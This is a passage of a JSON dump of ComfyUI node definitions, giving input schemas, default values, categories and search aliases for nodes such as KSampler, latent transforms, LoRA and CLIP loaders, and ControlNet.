["model", "add_noise", "noise_seed", "steps", "cfg", "sampler_name", "scheduler", "positive", "negative", "latent_image", "start_at_step", "end_at_step", "return_with_leftover_noise"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "KSamplerAdvanced", "display_name": "KSampler (Advanced)", "description": "", "python_module": "nodes", "category": "model/sampling", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "SetLatentNoiseMask": {"input": {"required": {"samples": ["LATENT"], "mask": ["MASK"]}}, "input_order": {"required": ["samples", "mask"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "SetLatentNoiseMask", "display_name": "Set Latent Noise Mask", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "LatentComposite": {"input": {"required": {"samples_to": ["LATENT"], "samples_from": ["LATENT"], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "feather": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}]}}, "input_order": {"required": ["samples_to", "samples_from", "x", "y", "feather"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentComposite", "display_name": "Latent Composite", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": ["overlay latent", "layer latent", "paste latent"]}, "LatentBlend": {"input": {"required": {"samples1": ["LATENT"], "samples2": ["LATENT"], "blend_factor": ["FLOAT", {"default": 0.5, "min": 0, "max": 1, "step": 0.01}]}}, "input_order": {"required": ["samples1", "samples2", "blend_factor"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentBlend", "display_name": "Latent Blend", "description": "", "python_module": "nodes", "category": "experimental", "output_node": false, "has_intermediate_output": false, "search_aliases": ["mix latents", "interpolate latents"]}, "LatentRotate": {"input": {"required": {"samples": ["LATENT"], "rotation": [["none", "90 degrees", "180 degrees", "270 degrees"]]}}, "input_order": {"required": ["samples", "rotation"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentRotate", "display_name": "Rotate Latent", "description": "", "python_module": "nodes", "category": "model/latent/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "LatentFlip": {"input": {"required": {"samples": ["LATENT"], "flip_method": [["x-axis: vertically", "y-axis: horizontally"]]}}, "input_order": {"required": ["samples", "flip_method"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentFlip", "display_name": "Flip Latent", "description": "", "python_module": "nodes", "category": "model/latent/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["mirror latent"]}, "LatentCrop": {"input": {"required": {"samples": ["LATENT"], "width": ["INT", {"default": 512, "min": 64, "max": 16384, "step": 8}], "height": ["INT", {"default": 512, "min": 64, "max": 16384, "step": 8}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}]}}, "input_order": {"required": ["samples", "width", "height", "x", "y"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentCrop", "display_name": "Crop Latent", "description": "", "python_module": "nodes", "category": "model/latent/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["trim latent", "cut latent"]}, "LoraLoader": {"input": {"required": {"model": ["MODEL", {"tooltip": "The diffusion model the LoRA will be applied to."}], "clip": ["CLIP", {"tooltip": "The CLIP model the LoRA will be applied to."}], "lora_name": [[], {"tooltip": "The name of the LoRA."}], "strength_model": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01, "tooltip": "How strongly to modify the diffusion model. This value can be negative."}], "strength_clip": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01, "tooltip": "How strongly to modify the CLIP model. This value can be negative."}]}}, "input_order": {"required": ["model", "clip", "lora_name", "strength_model", "strength_clip"]}, "is_input_list": false, "output": ["MODEL", "CLIP"], "output_is_list": [false, false], "output_name": ["MODEL", "CLIP"], "name": "LoraLoader", "display_name": "Load LoRA (Model and CLIP)", "description": "This LoRA loader is used to modify both diffusion and CLIP models, altering the way in which latents are denoised such as applying styles. Multiple LoRA nodes can be linked together.", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The modified diffusion model.", "The modified CLIP model."], "search_aliases": ["lora", "load lora", "apply lora", "lora loader", "lora model"], "essentials_category": "Image Generation"}, "CLIPLoader": {"input": {"required": {"clip_name": [["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "type": [["stable_diffusion", "stable_cascade", "sd3", "stable_audio", "mochi", "ltxv", "pixart", "cosmos", "lumina2", "wan", "hidream", "chroma", "ace", "omnigen2", "qwen_image", "hunyuan_image", "flux2", "ovis", "longcat_image", "cogvideox", "lens", "pixeldit", "ideogram4", "boogu", "krea2"]]}, "optional": {"device": [["default", "cpu"], {"advanced": true}]}}, "input_order": {"required": ["clip_name", "type"], "optional": ["device"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPLoader", "display_name": "Load CLIP", "description": "Recipes:\nsd: clip-l\nstable cascade: clip-g\nsd3: t5 xxl / clip-g / clip-l\nstable audio: t5 base\nmochi: t5 xxl\ncogvideox: t5 xxl (226-token padding)\ncosmos: old t5 xxl\nlumina2: gemma 2 2B\nwan: umt5 xxl\nhidream: llama-3.1 (Recommend) or t5\nomnigen2: qwen vl 2.5 3B\nlens: gpt-oss-20b\npixeldit: gemma 2 2B elm", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "UNETLoader": {"input": {"required": {"unet_name": [[]], "weight_dtype": [["default", "fp8_e4m3fn", "fp8_e4m3fn_fast", "fp8_e5m2"], {"advanced": true}]}}, "input_order": {"required": ["unet_name", "weight_dtype"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "UNETLoader", "display_name": "Load Diffusion Model", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "DualCLIPLoader": {"input": {"required": {"clip_name1": [["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name2": [["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "type": [["sdxl", "sd3", "flux", "hunyuan_video", "hidream", "hunyuan_image", "hunyuan_video_15", "kandinsky5", "kandinsky5_image", "ltxv", "newbie", "ace"]]}, "optional": {"device": [["default", "cpu"], {"advanced": true}]}}, "input_order": {"required": ["clip_name1", "clip_name2", "type"], "optional": ["device"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "DualCLIPLoader", "display_name": "Load CLIP (Dual)", "description": "Recipes:\nsdxl: clip-l, clip-g\nsd3: clip-l, clip-g / clip-l, t5 / clip-g, t5\nflux: clip-l, t5\nhidream: at least one of t5 or llama, recommended t5 and llama\nhunyuan_image: qwen2.5vl 7b and byt5 small\nnewbie: gemma-3-4b-it, jina clip v2", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CLIPVisionEncode": {"input": {"required": {"clip_vision": ["CLIP_VISION"], "image": ["IMAGE"], "crop": [["center", "none"]]}}, "input_order": {"required": ["clip_vision", "image", "crop"]}, "is_input_list": false, "output": ["CLIP_VISION_OUTPUT"], "output_is_list": [false], "output_name": ["CLIP_VISION_OUTPUT"], "name": "CLIPVisionEncode", "display_name": "CLIP Vision Encode", "description": "", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "StyleModelApply": {"input": {"required": {"conditioning": ["CONDITIONING"], "style_model": ["STYLE_MODEL"], "clip_vision_output": ["CLIP_VISION_OUTPUT"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.001}], "strength_type": [["multiply", "attn_bias"]]}}, "input_order": {"required": ["conditioning", "style_model", "clip_vision_output", "strength", "strength_type"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "StyleModelApply", "display_name": "Apply Style Model", "description": "", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "search_aliases": ["style transfer"]}, "unCLIPConditioning": {"input": {"required": {"conditioning": ["CONDITIONING"], "clip_vision_output": ["CLIP_VISION_OUTPUT"], "strength": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}], "noise_augmentation": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "clip_vision_output", "strength", "noise_augmentation"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "unCLIPConditioning", "display_name": "unCLIPConditioning", "description": "", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ControlNetApply": {"input": {"required": {"conditioning": ["CONDITIONING"], "control_net": ["CONTROL_NET"], "image": ["IMAGE"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "control_net", "image", "strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ControlNetApply", "display_name": "Apply ControlNet (DEPRECATED)", "description": "", "python_module": "nodes", "category": "model/conditioning/controlnet", "output_node": false, "has_intermediate_output": false, "deprecated": true, "search_aliases": []}, "ControlNetApplyAdvanced": {"input": {"required": {"positive": ["CONDITIONING"], "negative": ["CONDITIONING"], "control_net": ["CONTROL_NET"], "image": ["IMAGE"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}, "optional": {"vae": ["VAE"]}}, "input_order": {"required": ["positive", "negative", "control_net", "image", "strength", "start_percent", "end_percent"], "optional": ["vae"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "name": "ControlNetApplyAdvanced", "display_name": "Apply ControlNet", "description": "", "python_module": "nodes", "category": "model/conditioning/controlnet", "output_node": false, "has_intermediate_output": false, "search_aliases": ["controlnet", "apply controlnet", "use controlnet", "control net"]}, "ControlNetLoader": {"input": {"required": {"control_net_name": [[]]}}, "input_order": {"required": ["control_net_name"]}, "is_input_list": false, "output": ["CONTROL_NET"], "output_is_list": [false], "output_name": ["CONTROL_NET"], "name": "ControlNetLoader", "display_name": "Load ControlNet Model", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": ["controlnet", "control net", "cn", "load controlnet", "controlnet loader"]}, "DiffControlNetLoader": {"input": {"required": {"model": ["MODEL"], "control_net_name": [[]]}}, "input_order": {"required": ["model", "control_net_name"]}, "is_input_list": false, "output": ["CONTROL_NET"], "output_is_list": [false], "output_name": ["CONTROL_NET"], "name": "DiffControlNetLoader", "display_name": "Load ControlNet Model (diff)", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "StyleModelLoader": {"input": {"required": {"style_model_name": [[]]}}, "input_order": {"required": ["style_model_name"]}, "is_input_list": false, "output": ["STYLE_MODEL"], "output_is_list": [false], "output_name": ["STYLE_MODEL"], "name": "StyleModelLoader", "display_name": "Load Style Model", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CLIPVisionLoader": {"input": {"required": {"clip_name": [[]]}}, "input_order": {"required": ["clip_name"]}, "is_input_list": false, "output": ["CLIP_VISION"], "output_is_list": [false], "output_name": ["CLIP_VISION"], "name": "CLIPVisionLoader", "display_name": "Load CLIP Vision", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VAEDecodeTiled": {"input": {"required": {"samples": ["LATENT"], "vae": ["VAE"], "tile_size": ["INT", {"default": 512, "min": 64, "max": 4096, "step": 32, "advanced": true}], "overlap": ["INT", {"default": 64, "min": 0, "max": 4096, "step": 32, "advanced": true}], "temporal_size": ["INT", {"default": 64, "min": 8, "max": 4096, "step": 4, "tooltip": "Only used for video VAEs: Amount of frames to decode at a time.", "advanced": true}], "temporal_overlap": ["INT", {"default": 8, "min": 4, "max": 4096, "step": 4, "tooltip": "Only used for video VAEs: Amount of frames to overlap.", "advanced": true}]}}, "input_order": {"required": ["samples", "vae", "tile_size", "overlap", "temporal_size", "temporal_overlap"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "VAEDecodeTiled", "display_name": "VAE Decode (Tiled)", "description": "", "python_module": "nodes", "category": "experimental", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VAEEncodeTiled": {"input": {"required": {"pixels": ["IMAGE"], "vae": ["VAE"], "tile_size": ["INT", {"default": 512, "min": 64, "max": 4096, "step": 64, "advanced": true}], "overlap": ["INT", {"default": 64, "min": 0, "max": 4096, "step": 32, "advanced": true}], "temporal_size": ["INT", {"default": 64, "min": 8, "max": 4096, "step": 4, "tooltip": "Only used for video VAEs: Amount of frames to encode at a time.", "advanced": true}], "temporal_overlap": ["INT", {"default": 8, "min": 4, "max": 4096, "step": 4, "tooltip": "Only used for video VAEs: Amount of frames to overlap.", "advanced": true}]}}, "input_order": {"required": ["pixels", "vae", "tile_size", "overlap", "temporal_size", "temporal_overlap"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "VAEEncodeTiled", "display_name": "VAE Encode (Tiled)", "description": "", "python_module": "nodes", "category": "experimental", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "unCLIPCheckpointLoader": {"input": {"required": {"ckpt_name": [[]]}}, "input_order": {"required": ["ckpt_name"]}, "is_input_list": false, "output": ["MODEL", "CLIP", "VAE", "CLIP_VISION"], "output_is_list": [false, false, false, false], "output_name": ["MODEL", "CLIP", "VAE", "CLIP_VISION"], "name": "unCLIPCheckpointLoader", "display_name": "Load unCLIP Checkpoint", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "GLIGENLoader": {"input": {"required": {"gligen_name": [[]]}}, "input_order": {"required": ["gligen_name"]}, "is_input_list": false, "output": ["GLIGEN"], "output_is_list": [false], "output_name": ["GLIGEN"], "name": "GLIGENLoader", "display_name": "Load GLIGEN Model", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "GLIGENTextBoxApply": {"input": {"required": {"conditioning_to": ["CONDITIONING"], "clip": ["CLIP"], "gligen_textbox_model": ["GLIGEN"], "text": ["STRING", {"multiline": true, "dynamicPrompts": true}], "width": ["INT", {"default": 64, "min": 8, "max": 16384, "step": 8}], "height": ["INT", {"default": 64, "min": 8, "max": 16384, "step": 8}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}]}}, "input_order": {"required": ["conditioning_to", "clip", "gligen_textbox_model", "text", "width", "height", "x", "y"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "GLIGENTextBoxApply", "display_name": "Apply GLIGEN Text Box", "description": "", "python_module": "nodes", "category": "model/conditioning/gligen", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "InpaintModelConditioning": {"input": {"required": {"positive": ["CONDITIONING"], "negative": ["CONDITIONING"], "vae": ["VAE"], "pixels": ["IMAGE"], "mask": ["MASK"], "noise_mask": ["BOOLEAN", {"default": true, "tooltip": "Add a noise mask to the latent so sampling will only happen within the mask. Might improve results or completely break things depending on the model."}]}}, "input_order": {"required": ["positive", "negative", "vae", "pixels", "mask", "noise_mask"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "name": "InpaintModelConditioning", "display_name": "InpaintModelConditioning", "description": "", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CheckpointLoader": {"input": {"required": {"config_name": [["anything_v3.yaml", "v1-inference.yaml", "v1-inference_clip_skip_2.yaml", "v1-inference_clip_skip_2_fp16.yaml", "v1-inference_fp16.yaml", "v1-inpainting-inference.yaml", "v2-inference-v.yaml", "v2-inference-v_fp32.yaml", "v2-inference.yaml", "v2-inference_fp32.yaml", "v2-inpainting-inference.yaml"]], "ckpt_name": [[]]}}, "input_order": {"required": ["config_name", "ckpt_name"]}, "is_input_list": false, "output": ["MODEL", "CLIP", "VAE"], "output_is_list": [false, false, false], "output_name": ["MODEL", "CLIP", "VAE"], "name": "CheckpointLoader", "display_name": "Load Checkpoint With Config (DEPRECATED)", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "deprecated": true, "search_aliases": ["load model", "model loader"]}, "DiffusersLoader": {"input": {"required": {"model_path": [[]]}}, "input_order": {"required": ["model_path"]}, "is_input_list": false, "output": ["MODEL", "CLIP", "VAE"], "output_is_list": [false, false, false], "output_name": ["MODEL", "CLIP", "VAE"], "name": "DiffusersLoader", "display_name": "Load Diffusers Model (DEPRECATED)", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "deprecated": true, "search_aliases": ["load diffusers model"]}, "LoadLatent": {"input": {"required": {"latent": [[]]}}, "input_order": {"required": ["latent"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LoadLatent", "display_name": "LoadLatent", "description": "", "python_module": "nodes", "category": "experimental", "output_node": false, "has_intermediate_output": false, "search_aliases": ["import latent", "open latent"]}, "SaveLatent": {"input": {"required": {"samples": ["LATENT"], "filename_prefix": ["STRING", {"default": "latents/ComfyUI"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["samples", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["samples"], "name": "SaveLatent", "display_name": "SaveLatent", "description": "", "python_module": "nodes", "category": "experimental", "output_node": true, "has_intermediate_output": false, "search_aliases": ["export latent"]}, "ConditioningZeroOut": {"input": {"required": {"conditioning": ["CONDITIONING"]}}, "input_order": {"required": ["conditioning"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningZeroOut", "display_name": "Conditioning Zero Out", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["null conditioning", "clear conditioning"]}, "ConditioningSetTimestepRange": {"input": {"required": {"conditioning": ["CONDITIONING"], "start": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["conditioning", "start", "end"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetTimestepRange", "display_name": "ConditioningSetTimestepRange", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "LoraLoaderModelOnly": {"input": {"required": {"model": ["MODEL"], "lora_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "lora_name", "strength_model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "LoraLoaderModelOnly", "display_name": "Load LoRA", "description": "This LoRAs loader is used to modify the diffusion model, altering the way in which latents are denoised such as applying styles. Multiple LoRA nodes can be linked together.", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The modified diffusion model.", "The modified CLIP model."], "search_aliases": ["lora", "load lora", "apply lora", "lora loader", "lora model"], "essentials_category": "Image Generation"}, "LatentAdd": {"input": {"required": {"samples1": ["LATENT", {}], "samples2": ["LATENT", {}]}}, "input_order": {"required": ["samples1", "samples2"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentAdd", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine latents", "sum latents"], "essentials_category": null, "has_intermediate_output": false}, "LatentSubtract": {"input": {"required": {"samples1": ["LATENT", {}], "samples2": ["LATENT", {}]}}, "input_order": {"required": ["samples1", "samples2"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentSubtract", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["difference latent", "remove features"], "essentials_category": null, "has_intermediate_output": false}, "LatentMultiply": {"input": {"required": {"samples": ["LATENT", {}], "multiplier": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["samples", "multiplier"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentMultiply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["scale latent", "amplify latent", "latent gain"], "essentials_category": null, "has_intermediate_output": false}, "LatentInterpolate": {"input": {"required": {"samples1": ["LATENT", {}], "samples2": ["LATENT", {}], "ratio": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["samples1", "samples2", "ratio"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentInterpolate", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["blend latent", "mix latent", "lerp latent", "transition"], "essentials_category": null, "has_intermediate_output": false}, "LatentConcat": {"input": {"required": {"samples1": ["LATENT", {}], "samples2": ["LATENT", {}], "dim": ["COMBO", {"multiselect": false, "options": ["x", "-x", "y", "-y", "t", "-t"]}]}}, "input_order": {"required": ["samples1", "samples2", "dim"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentConcat", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["join latents", "stitch latents"], "essentials_category": null, "has_intermediate_output": false}, "LatentCut": {"input": {"required": {"samples": ["LATENT", {}], "dim": ["COMBO", {"multiselect": false, "options": ["x", "y", "t"]}], "index": ["INT", {"default": 0, "min": -16384, "max": 16384, "step": 1}], "amount": ["INT", {"default": 1, "min": 1, "max": 16384, "step": 1}]}}, "input_order": {"required": ["samples", "dim", "index", "amount"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentCut", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["crop latent", "slice latent", "extract region"], "essentials_category": null, "has_intermediate_output": false}, "LatentCutToBatch": {"input": {"required": {"samples": ["LATENT", {}], "dim": ["COMBO", {"multiselect": false, "options": ["t", "x", "y"]}], "slice_size": ["INT", {"default": 1, "min": 1, "max": 16384, "step": 1}]}}, "input_order": {"required": ["samples", "dim", "slice_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentCutToBatch", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["slice to batch", "split latent", "tile latent"], "essentials_category": null, "has_intermediate_output": false}, "LatentBatch": {"input": {"required": {"samples1": ["LATENT", {}], "samples2": ["LATENT", {}]}}, "input_order": {"required": ["samples1", "samples2"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentBatch", "display_name": "Batch Latents (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/batch", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine latents", "merge latents", "join latents"], "essentials_category": null, "has_intermediate_output": false}, "LatentBatchSeedBehavior": {"input": {"required": {"samples": ["LATENT", {}], "seed_behavior": ["COMBO", {"default": "fixed", "multiselect": false, "options": ["random", "fixed"]}]}}, "input_order": {"required": ["samples", "seed_behavior"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentBatchSeedBehavior", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LatentApplyOperation": {"input": {"required": {"samples": ["LATENT", {}], "operation": ["LATENT_OPERATION", {}]}}, "input_order": {"required": ["samples", "operation"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentApplyOperation", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced/operations", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["transform latent"], "essentials_category": null, "has_intermediate_output": false}, "LatentApplyOperationCFG": {"input": {"required": {"model": ["MODEL", {}], "operation": ["LATENT_OPERATION", {}]}}, "input_order": {"required": ["model", "operation"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentApplyOperationCFG", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced/operations", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LatentOperationTonemapReinhard": {"input": {"required": {"multiplier": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["multiplier"]}, "is_input_list": false, "output": ["LATENT_OPERATION"], "output_is_list": [false], "output_name": ["LATENT_OPERATION"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentOperationTonemapReinhard", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced/operations", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["hdr latent"], "essentials_category": null, "has_intermediate_output": false}, "LatentOperationSharpen": {"input": {"required": {"sharpen_radius": ["INT", {"advanced": true, "default": 9, "min": 1, "max": 31, "step": 1}], "sigma": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.1, "max": 10.0, "step": 0.1}], "alpha": ["FLOAT", {"advanced": true, "default": 0.1, "min": 0.0, "max": 5.0, "step": 0.01}]}}, "input_order": {"required": ["sharpen_radius", "sigma", "alpha"]}, "is_input_list": false, "output": ["LATENT_OPERATION"], "output_is_list": [false], "output_name": ["LATENT_OPERATION"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentOperationSharpen", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced/operations", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReplaceVideoLatentFrames": {"input": {"required": {"destination": ["LATENT", {"tooltip": "The destination latent where frames will be replaced."}], "index": ["INT", {"tooltip": "The starting latent frame index in the destination latent where the source latent frames will be placed. Negative values count from the end.", "default": 0, "min": -16384, "max": 16384, "step": 1}]}, "optional": {"source": ["LATENT", {"tooltip": "The source latent providing frames to insert into the destination latent. If not provided, the destination latent is returned unchanged."}]}}, "input_order": {"required": ["destination", "index"], "optional": ["source"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReplaceVideoLatentFrames", "display_name": "Replace Video Latent 